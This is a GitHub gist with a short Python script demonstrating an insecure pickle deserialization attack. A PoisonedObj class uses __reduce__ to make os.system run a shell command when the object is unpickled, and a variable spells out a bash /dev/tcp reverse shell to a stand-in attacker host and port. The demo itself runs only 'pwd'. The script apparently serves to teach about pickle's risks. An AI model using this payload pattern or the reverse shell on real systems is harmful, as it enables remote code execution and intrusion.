Skip to content

Instantly share code, notes, and snippets.

@redwrasse
Created June 17, 2020 18:41
Show Gist options
  • Save redwrasse/2afb67e138dd2c5ddb49f3e5f94c487a to your computer and use it in GitHub Desktop.
Save redwrasse/2afb67e138dd2c5ddb49f3e5f94c487a to your computer and use it in GitHub Desktop.
example deserialization attack
# insecure_deserialization.py
"""
as stated in the docs (https://docs.python.org/3/library/pickle.html):
'Warning The pickle module is not secure. Only unpickle data you trust.'
"""
import os
import pickle
DANGEROUS_SHELL_COMMAND = 'pwd' # insert dangerous system command;
# for example open a reverse shell
# attacker server for example can listen with nc -l 1337
ATTACKER_SERVER = 'localhost'
ATTACKER_PORT = 1337
REVERSE_SHELL_COMMAND = f'bash -i >& /dev/tcp/{ATTACKER_SERVER}/{ATTACKER_PORT} 0>&1'
class SimpleObj:
def __init__(self, data):
self.data = data
class PoisonedObj:
"""
Forces code execution upon deserialization
"""
def __init__(self, shell_command):
self.shell_command = shell_command
def __reduce__(self):
print("(__reduce__ op running shell command)")
return os.system, (self.shell_command,)
def run_workflow():
# dumps converts SimpleObj instance to byte stream (serialization)
print("Running `pickle.dumps` to convert SimpleObj instance to a byte stream (serializing)...")
pickledObj = pickle.dumps(SimpleObj(data='foo'))
# loads converts byte stream back to obj instance (deserialization)
print("Converting byte stream back to obj instance (deserializing) with `pickle.loads`...")
deserializedObj = pickle.loads(pickledObj)
print("----")
print("Now running malicious code example:")
print("Serializing PoisonedObj...")
poisonedObj = PoisonedObj(shell_command=DANGEROUS_SHELL_COMMAND)
pickledPoisonedObj = pickle.dumps(poisonedObj)
print("Deserializing PoisonedObj...")
deserializedPoisonedObj = pickle.loads(pickledPoisonedObj)
if __name__ == "__main__":
run_workflow()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment